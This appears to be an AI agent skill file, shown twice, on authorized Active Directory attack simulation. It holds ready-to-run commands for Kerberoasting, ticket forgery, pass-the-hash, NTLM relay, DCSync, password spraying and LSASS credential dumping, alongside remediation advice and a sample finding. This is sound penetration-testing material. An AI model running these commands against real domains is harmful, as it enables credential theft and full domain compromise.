Executing Active Directory Attack Simulation
When to Use
- Assessing the security of an Active Directory domain and forest against common and advanced attack techniques
- Identifying attack paths from low-privilege domain user to Domain Admin using privilege relationship analysis
- Validating that Kerberos security configurations, credential policies, and delegation settings resist known attacks
- Testing detection capabilities of the SOC and EDR tools against Active Directory-specific TTPs
- Evaluating the effectiveness of tiered administration models and privileged access workstations
Do not use without explicit written authorization from the domain owner, against production domain controllers during business hours unless approved, or for testing that could cause account lockouts affecting real users without prior coordination.
Prerequisites
- Written authorization specifying the target AD domain, testing constraints, and any off-limits accounts or systems
- Low-privilege domain user account (minimum starting point) to simulate realistic attacker position
- Testing workstation joined to the domain or network access to domain controllers on ports 88, 135, 139, 389, 445, 636, 3268, 3269
- BloodHound Community Edition or Enterprise with SharpHound/AzureHound collectors
- Impacket toolkit, Mimikatz (or pypykatz), Rubeus, and CrackMapExec installed on the attack platform
- Hashcat or John the Ripper with current wordlists (rockyou.txt, SecLists) for offline credential cracking
Workflow
Step 1: Active Directory Reconnaissance
Enumerate the AD environment from a low-privilege domain user position:
- Domain enumeration:
Get-ADDomain or crackmapexec smb <dc_ip> -u <user> -p <pass> --domains to identify domain name, functional level, domain controllers, and forest trusts
- User enumeration:
Get-ADUser -Filter * -Properties ServicePrincipalName,AdminCount,PasswordLastSet to identify service accounts, privileged accounts, and stale passwords
- Group enumeration: Map membership of high-value groups (Domain Admins, Enterprise Admins, Schema Admins, Account Operators, Backup Operators) using
net group "Domain Admins" /domain
- GPO enumeration:
Get-GPO -All | Get-GPOReport -ReportType XML to identify Group Policy configurations including password policies, audit settings, and software deployment
- Trust enumeration:
nltest /domain_trusts /all_trusts to map inter-domain and inter-forest trusts, noting trust direction and transitivity
- LDAP queries: Use
ldapsearch or ADExplorer to search for accounts with userAccountControl flags indicating "password never expires", "password not required", or "DES-only Kerberos"
Step 2: BloodHound Attack Path Analysis
Collect and analyze AD relationship data to identify the shortest paths to Domain Admin:
- Run SharpHound collector:
SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp\ to collect users, groups, sessions, ACLs, trusts, and GPO data
- Import the JSON output into BloodHound and run built-in queries:
- "Shortest Paths to Domain Admins from Owned Principals"
- "Find Principals with DCSync Rights"
- "Find Computers where Domain Users are Local Admin"
- "Shortest Paths to Unconstrained Delegation Systems"
- "Find All Paths from Kerberoastable Users"
- Mark the compromised user as "owned" in BloodHound and analyze the resulting attack paths
- Identify ACL-based attack paths: GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword on high-value objects
- Document each identified attack path with the chain of relationships and affected objects
Step 3: Kerberos Attacks
Execute Kerberos-based attacks against identified vulnerable accounts:
- Kerberoasting: Request TGS tickets for accounts with SPNs:
impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dc_ip> -request -outputfile kerberoast.hashes. Crack offline with hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt
- AS-REP Roasting: Target accounts without Kerberos pre-authentication:
impacket-GetNPUsers <domain>/ -dc-ip <dc_ip> -usersfile users.txt -format hashcat -outputfile asrep.hashes. Crack with hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt
- Silver Ticket: If a service account's NTLM hash is cracked, forge a TGS ticket for that service using
impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn <service/host> <username>
- Golden Ticket: If the krbtgt hash is obtained (post-domain compromise), forge a TGT:
mimikatz "kerberos::golden /user:Administrator /domain:<domain> /sid:<sid> /krbtgt:<hash> /ticket:golden.kirbi"
- Unconstrained Delegation abuse: Identify computers with unconstrained delegation. Coerce authentication from a Domain Controller using PrinterBug or PetitPotam, then capture the DC's TGT from memory.
Step 4: Credential Attacks and Lateral Movement
Exploit harvested credentials to move through the domain:
- Pass-the-Hash:
impacket-psexec <domain>/<user>@<target> -hashes <LM:NTLM> to execute commands on systems where the compromised account has local admin
- Pass-the-Ticket:
export KRB5CCNAME=ticket.ccache && impacket-psexec <domain>/<user>@<target> -k -no-pass to use captured or forged Kerberos tickets
- NTLM Relay: Configure
impacket-ntlmrelayx -t ldap://<dc_ip> --escalate-user <user> and coerce authentication to relay NTLM credentials for privilege escalation
- DCSync: If DCSync rights are obtained (Replicating Directory Changes):
impacket-secretsdump <domain>/<user>:<pass>@<dc_ip> -just-dc-ntlm to dump all domain password hashes
- Password spraying:
crackmapexec smb <dc_ip> -u users.txt -p 'Winter2025!' --no-bruteforce testing one password across all accounts to avoid lockouts
- LSASS dump: On compromised hosts, extract credentials from LSASS memory using
mimikatz "sekurlsa::logonpasswords" or procdump -ma lsass.exe lsass.dmp followed by offline extraction
Step 5: Privilege Escalation to Domain Admin
Chain discovered attack paths to escalate from low-privilege user to Domain Admin:
- Follow the shortest path identified in BloodHound by executing each relationship (e.g., GenericWrite on a user -> set SPN -> Kerberoast -> crack password -> user is member of a group with WriteDACL on Domain Admins -> grant self membership)
- Exploit Group Policy Preferences (GPP) passwords if found:
crackmapexec smb <dc_ip> -u <user> -p <pass> -M gpp_autologon
- Target LAPS (Local Administrator Password Solution) if deployed: query LAPS passwords with
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd
- Abuse certificate services (AD CS) with Certipy:
certipy find -vulnerable -u <user>@<domain> -p <pass> -dc-ip <dc_ip> to find exploitable certificate templates (ESC1-ESC8)
- Document the complete attack chain from initial user to Domain Admin with every credential, tool, and technique used
Key Concepts
| Term |
Definition |
| Kerberoasting |
Requesting Kerberos TGS tickets for accounts with Service Principal Names and cracking them offline to recover the service account's plaintext password |
| AS-REP Roasting |
Requesting Kerberos AS-REP responses for accounts without pre-authentication enabled and cracking the encrypted timestamp offline |
| DCSync |
Using Directory Replication Service privileges (DS-Replication-Get-Changes-All) to replicate password data from a domain controller, mimicking the behavior of a DC |
| BloodHound |
Graph-based Active Directory analysis tool that maps privilege relationships and identifies attack paths from any user to high-value targets like Domain Admin |
| Unconstrained Delegation |
A Kerberos delegation configuration where a service can impersonate any user to any other service, allowing TGT capture from connecting users |
| Pass-the-Hash |
Authentication technique using an NTLM hash directly instead of the plaintext password, exploiting Windows NTLM authentication |
| AD CS Abuse |
Exploiting misconfigured Active Directory Certificate Services templates to request certificates that grant elevated privileges or impersonate other users |
| NTLM Relay |
Forwarding captured NTLM authentication to a different service to authenticate as the victim, effective when SMB signing is not enforced |
Tools & Systems
- BloodHound: Attack path analysis tool that ingests AD data collected by SharpHound to visualize and identify privilege escalation paths through object relationships
- Impacket: Python toolkit for network protocol interactions including Kerberos attacks (GetUserSPNs, GetNPUsers), credential dumping (secretsdump), and remote execution (psexec, wmiexec)
- Mimikatz: Post-exploitation tool for extracting plaintext credentials, NTLM hashes, and Kerberos tickets from Windows memory (LSASS process)
- CrackMapExec: Multi-protocol attack tool for Active Directory environments supporting SMB, LDAP, WinRM, and MSSQL with built-in modules for password spraying and enumeration
- Certipy: Python tool for enumerating and exploiting Active Directory Certificate Services (AD CS) misconfigurations
Common Scenarios
Scenario: Domain Compromise Assessment for a Healthcare Organization
Context: A hospital network with a single Active Directory forest containing 5,000 user accounts, 800 computer objects, and 15 domain controllers across 3 sites. The tester starts with a single low-privilege domain user account. The goal is to determine if an attacker with stolen employee credentials could escalate to Domain Admin.
Approach:
- Run SharpHound to collect AD relationship data and import into BloodHound
- BloodHound reveals a path: owned user -> member of IT-Support group -> GenericAll on SVC-SQL account -> SVC-SQL has SPN -> Kerberoast -> SVC-SQL is local admin on DB-SERVER-01 -> DB-SERVER-01 has a Domain Admin session
- Kerberoast SVC-SQL, crack the weak password (Summer2023!) in 12 minutes using hashcat
- Use SVC-SQL credentials to access DB-SERVER-01 via psexec
- Extract Domain Admin credentials from LSASS memory on DB-SERVER-01
- Validate domain compromise by performing DCSync to dump all domain hashes
- Report the complete attack chain with remediation: set 25+ character passwords on service accounts, enable AES-only Kerberos encryption, remove unnecessary local admin rights, implement tiered administration
Pitfalls:
- Running SharpHound with noisy collection methods during peak hours, alerting the SOC via excessive LDAP queries
- Password spraying without checking the domain lockout policy first, locking out hundreds of accounts
- Forgetting to test for AD CS vulnerabilities which often provide the fastest path to Domain Admin
- Not checking for stale computer accounts that may still have cached credentials or active sessions
Output Format
## Finding: Service Account Vulnerable to Kerberoasting with Weak Password
**ID**: AD-002
**Severity**: Critical (CVSS 9.1)
**Affected Object**: SVC-SQL@corp.example.com (Service Account)
**Attack Technique**: MITRE ATT&CK T1558.003 - Kerberoasting
**Description**:
The service account SVC-SQL has a Service Principal Name (MSSQLSvc/db-server-01.corp.example.com:1433)
registered in Active Directory and uses a weak password that was cracked in 12 minutes
using hashcat with the rockyou.txt wordlist. This account has local administrator
privileges on DB-SERVER-01, which had an active Domain Admin session at the time of
testing.
**Attack Chain**:
1. Requested TGS ticket: impacket-GetUserSPNs corp.example.com/testuser:password -request
2. Cracked hash: hashcat -m 13100 hash.txt rockyou.txt (cracked in 12m: Summer2023!)
3. Lateral movement: impacket-psexec corp.example.com/SVC-SQL:Summer2023!@db-server-01
4. Credential extraction: mimikatz sekurlsa::logonpasswords -> Domain Admin NTLM hash
**Impact**:
Complete domain compromise from a single low-privilege domain user account. An attacker
could access all 5,000 user accounts, 800 computer objects, and all data within the domain.
**Remediation**:
1. Set a 25+ character randomly generated password for SVC-SQL and all service accounts
2. Migrate to Group Managed Service Accounts (gMSA) which rotate 120-character passwords automatically
3. Enable AES256 encryption for Kerberos and disable RC4 (DES) encryption
4. Remove SVC-SQL from local administrator groups on DB-SERVER-01
5. Implement Protected Users group for privileged accounts to prevent credential caching
6. Deploy Microsoft Defender for Identity to detect Kerberoasting and DCSync attacks
1---2name: executing-active-directory-attack-simulation3description: Executes authorized attack simulations against Active Directory environments to identify misconfigurations, weak credentials, dangerous privilege paths, and exploitable trust relationships that could lead to domain compromise. The tester uses BloodHound for attack path analysis, Mimikatz for credential extraction, and Impacket for protocol-level attacks including Kerberoasting, AS-REP Roasting, and delegation abuse. Activates for requests involving Active Directory pentest, AD attack simulation, domain compromise testing, or Kerberos attack assessment.4license: Apache-2.05---6# Executing Active Directory Attack Simulation
7
8## When to Use
9
10- Assessing the security of an Active Directory domain and forest against common and advanced attack techniques
11- Identifying attack paths from low-privilege domain user to Domain Admin using privilege relationship analysis
12- Validating that Kerberos security configurations, credential policies, and delegation settings resist known attacks
13- Testing detection capabilities of the SOC and EDR tools against Active Directory-specific TTPs
14- Evaluating the effectiveness of tiered administration models and privileged access workstations
15
16**Do not use** without explicit written authorization from the domain owner, against production domain controllers during business hours unless approved, or for testing that could cause account lockouts affecting real users without prior coordination.
17
18## Prerequisites
19
20- Written authorization specifying the target AD domain, testing constraints, and any off-limits accounts or systems
21- Low-privilege domain user account (minimum starting point) to simulate realistic attacker position
22- Testing workstation joined to the domain or network access to domain controllers on ports 88, 135, 139, 389, 445, 636, 3268, 3269
23- BloodHound Community Edition or Enterprise with SharpHound/AzureHound collectors
24- Impacket toolkit, Mimikatz (or pypykatz), Rubeus, and CrackMapExec installed on the attack platform
25- Hashcat or John the Ripper with current wordlists (rockyou.txt, SecLists) for offline credential cracking
26
27## Workflow
28
29### Step 1: Active Directory Reconnaissance
30
31Enumerate the AD environment from a low-privilege domain user position:
32
33- **Domain enumeration**: `Get-ADDomain` or `crackmapexec smb <dc_ip> -u <user> -p <pass> --domains` to identify domain name, functional level, domain controllers, and forest trusts
34- **User enumeration**: `Get-ADUser -Filter * -Properties ServicePrincipalName,AdminCount,PasswordLastSet` to identify service accounts, privileged accounts, and stale passwords
35- **Group enumeration**: Map membership of high-value groups (Domain Admins, Enterprise Admins, Schema Admins, Account Operators, Backup Operators) using `net group "Domain Admins" /domain`
36- **GPO enumeration**: `Get-GPO -All | Get-GPOReport -ReportType XML` to identify Group Policy configurations including password policies, audit settings, and software deployment
37- **Trust enumeration**: `nltest /domain_trusts /all_trusts` to map inter-domain and inter-forest trusts, noting trust direction and transitivity
38- **LDAP queries**: Use `ldapsearch` or ADExplorer to search for accounts with `userAccountControl` flags indicating "password never expires", "password not required", or "DES-only Kerberos"
39
40### Step 2: BloodHound Attack Path Analysis
41
42Collect and analyze AD relationship data to identify the shortest paths to Domain Admin:
43
44- Run SharpHound collector: `SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp\` to collect users, groups, sessions, ACLs, trusts, and GPO data
45- Import the JSON output into BloodHound and run built-in queries:
46 - "Shortest Paths to Domain Admins from Owned Principals"
47 - "Find Principals with DCSync Rights"
48 - "Find Computers where Domain Users are Local Admin"
49 - "Shortest Paths to Unconstrained Delegation Systems"
50 - "Find All Paths from Kerberoastable Users"
51- Mark the compromised user as "owned" in BloodHound and analyze the resulting attack paths
52- Identify ACL-based attack paths: GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword on high-value objects
53- Document each identified attack path with the chain of relationships and affected objects
54
55### Step 3: Kerberos Attacks
56
57Execute Kerberos-based attacks against identified vulnerable accounts:
58
59- **Kerberoasting**: Request TGS tickets for accounts with SPNs: `impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dc_ip> -request -outputfile kerberoast.hashes`. Crack offline with `hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt`
60- **AS-REP Roasting**: Target accounts without Kerberos pre-authentication: `impacket-GetNPUsers <domain>/ -dc-ip <dc_ip> -usersfile users.txt -format hashcat -outputfile asrep.hashes`. Crack with `hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt`
61- **Silver Ticket**: If a service account's NTLM hash is cracked, forge a TGS ticket for that service using `impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn <service/host> <username>`
62- **Golden Ticket**: If the krbtgt hash is obtained (post-domain compromise), forge a TGT: `mimikatz "kerberos::golden /user:Administrator /domain:<domain> /sid:<sid> /krbtgt:<hash> /ticket:golden.kirbi"`
63- **Unconstrained Delegation abuse**: Identify computers with unconstrained delegation. Coerce authentication from a Domain Controller using PrinterBug or PetitPotam, then capture the DC's TGT from memory.
64
65### Step 4: Credential Attacks and Lateral Movement
66
67Exploit harvested credentials to move through the domain:
68
69- **Pass-the-Hash**: `impacket-psexec <domain>/<user>@<target> -hashes <LM:NTLM>` to execute commands on systems where the compromised account has local admin
70- **Pass-the-Ticket**: `export KRB5CCNAME=ticket.ccache && impacket-psexec <domain>/<user>@<target> -k -no-pass` to use captured or forged Kerberos tickets
71- **NTLM Relay**: Configure `impacket-ntlmrelayx -t ldap://<dc_ip> --escalate-user <user>` and coerce authentication to relay NTLM credentials for privilege escalation
72- **DCSync**: If DCSync rights are obtained (Replicating Directory Changes): `impacket-secretsdump <domain>/<user>:<pass>@<dc_ip> -just-dc-ntlm` to dump all domain password hashes
73- **Password spraying**: `crackmapexec smb <dc_ip> -u users.txt -p 'Winter2025!' --no-bruteforce` testing one password across all accounts to avoid lockouts
74- **LSASS dump**: On compromised hosts, extract credentials from LSASS memory using `mimikatz "sekurlsa::logonpasswords"` or `procdump -ma lsass.exe lsass.dmp` followed by offline extraction
75
76### Step 5: Privilege Escalation to Domain Admin
77
78Chain discovered attack paths to escalate from low-privilege user to Domain Admin:
79
80- Follow the shortest path identified in BloodHound by executing each relationship (e.g., GenericWrite on a user -> set SPN -> Kerberoast -> crack password -> user is member of a group with WriteDACL on Domain Admins -> grant self membership)
81- Exploit Group Policy Preferences (GPP) passwords if found: `crackmapexec smb <dc_ip> -u <user> -p <pass> -M gpp_autologon`
82- Target LAPS (Local Administrator Password Solution) if deployed: query LAPS passwords with `Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd`
83- Abuse certificate services (AD CS) with Certipy: `certipy find -vulnerable -u <user>@<domain> -p <pass> -dc-ip <dc_ip>` to find exploitable certificate templates (ESC1-ESC8)
84- Document the complete attack chain from initial user to Domain Admin with every credential, tool, and technique used
85
86## Key Concepts
87
88| Term | Definition |
89|------|------------|
90| **Kerberoasting** | Requesting Kerberos TGS tickets for accounts with Service Principal Names and cracking them offline to recover the service account's plaintext password |
91| **AS-REP Roasting** | Requesting Kerberos AS-REP responses for accounts without pre-authentication enabled and cracking the encrypted timestamp offline |
92| **DCSync** | Using Directory Replication Service privileges (DS-Replication-Get-Changes-All) to replicate password data from a domain controller, mimicking the behavior of a DC |
93| **BloodHound** | Graph-based Active Directory analysis tool that maps privilege relationships and identifies attack paths from any user to high-value targets like Domain Admin |
94| **Unconstrained Delegation** | A Kerberos delegation configuration where a service can impersonate any user to any other service, allowing TGT capture from connecting users |
95| **Pass-the-Hash** | Authentication technique using an NTLM hash directly instead of the plaintext password, exploiting Windows NTLM authentication |
96| **AD CS Abuse** | Exploiting misconfigured Active Directory Certificate Services templates to request certificates that grant elevated privileges or impersonate other users |
97| **NTLM Relay** | Forwarding captured NTLM authentication to a different service to authenticate as the victim, effective when SMB signing is not enforced |
98
99## Tools & Systems
100
101- **BloodHound**: Attack path analysis tool that ingests AD data collected by SharpHound to visualize and identify privilege escalation paths through object relationships
102- **Impacket**: Python toolkit for network protocol interactions including Kerberos attacks (GetUserSPNs, GetNPUsers), credential dumping (secretsdump), and remote execution (psexec, wmiexec)
103- **Mimikatz**: Post-exploitation tool for extracting plaintext credentials, NTLM hashes, and Kerberos tickets from Windows memory (LSASS process)
104- **CrackMapExec**: Multi-protocol attack tool for Active Directory environments supporting SMB, LDAP, WinRM, and MSSQL with built-in modules for password spraying and enumeration
105- **Certipy**: Python tool for enumerating and exploiting Active Directory Certificate Services (AD CS) misconfigurations
106
107## Common Scenarios
108
109### Scenario: Domain Compromise Assessment for a Healthcare Organization
110
111**Context**: A hospital network with a single Active Directory forest containing 5,000 user accounts, 800 computer objects, and 15 domain controllers across 3 sites. The tester starts with a single low-privilege domain user account. The goal is to determine if an attacker with stolen employee credentials could escalate to Domain Admin.
112
113**Approach**:
1141. Run SharpHound to collect AD relationship data and import into BloodHound
1152. BloodHound reveals a path: owned user -> member of IT-Support group -> GenericAll on SVC-SQL account -> SVC-SQL has SPN -> Kerberoast -> SVC-SQL is local admin on DB-SERVER-01 -> DB-SERVER-01 has a Domain Admin session
1163. Kerberoast SVC-SQL, crack the weak password (Summer2023!) in 12 minutes using hashcat
1174. Use SVC-SQL credentials to access DB-SERVER-01 via psexec
1185. Extract Domain Admin credentials from LSASS memory on DB-SERVER-01
1196. Validate domain compromise by performing DCSync to dump all domain hashes
1207. Report the complete attack chain with remediation: set 25+ character passwords on service accounts, enable AES-only Kerberos encryption, remove unnecessary local admin rights, implement tiered administration
121
122**Pitfalls**:
123- Running SharpHound with noisy collection methods during peak hours, alerting the SOC via excessive LDAP queries
124- Password spraying without checking the domain lockout policy first, locking out hundreds of accounts
125- Forgetting to test for AD CS vulnerabilities which often provide the fastest path to Domain Admin
126- Not checking for stale computer accounts that may still have cached credentials or active sessions
127
128## Output Format
129
130```
131## Finding: Service Account Vulnerable to Kerberoasting with Weak Password
132
133**ID**: AD-002
134**Severity**: Critical (CVSS 9.1)
135**Affected Object**: SVC-SQL@corp.example.com (Service Account)
136**Attack Technique**: MITRE ATT&CK T1558.003 - Kerberoasting
137
138**Description**:
139The service account SVC-SQL has a Service Principal Name (MSSQLSvc/db-server-01.corp.example.com:1433)
140registered in Active Directory and uses a weak password that was cracked in 12 minutes
141using hashcat with the rockyou.txt wordlist. This account has local administrator
142privileges on DB-SERVER-01, which had an active Domain Admin session at the time of
143testing.
144
145**Attack Chain**:
1461. Requested TGS ticket: impacket-GetUserSPNs corp.example.com/testuser:password -request
1472. Cracked hash: hashcat -m 13100 hash.txt rockyou.txt (cracked in 12m: Summer2023!)
1483. Lateral movement: impacket-psexec corp.example.com/SVC-SQL:Summer2023!@db-server-01
1494. Credential extraction: mimikatz sekurlsa::logonpasswords -> Domain Admin NTLM hash
150
151**Impact**:
152Complete domain compromise from a single low-privilege domain user account. An attacker
153could access all 5,000 user accounts, 800 computer objects, and all data within the domain.
154
155**Remediation**:
1561. Set a 25+ character randomly generated password for SVC-SQL and all service accounts
1572. Migrate to Group Managed Service Accounts (gMSA) which rotate 120-character passwords automatically
1583. Enable AES256 encryption for Kerberos and disable RC4 (DES) encryption
1594. Remove SVC-SQL from local administrator groups on DB-SERVER-01
1605. Implement Protected Users group for privileged accounts to prevent credential caching
1616. Deploy Microsoft Defender for Identity to detect Kerberoasting and DCSync attacks
162```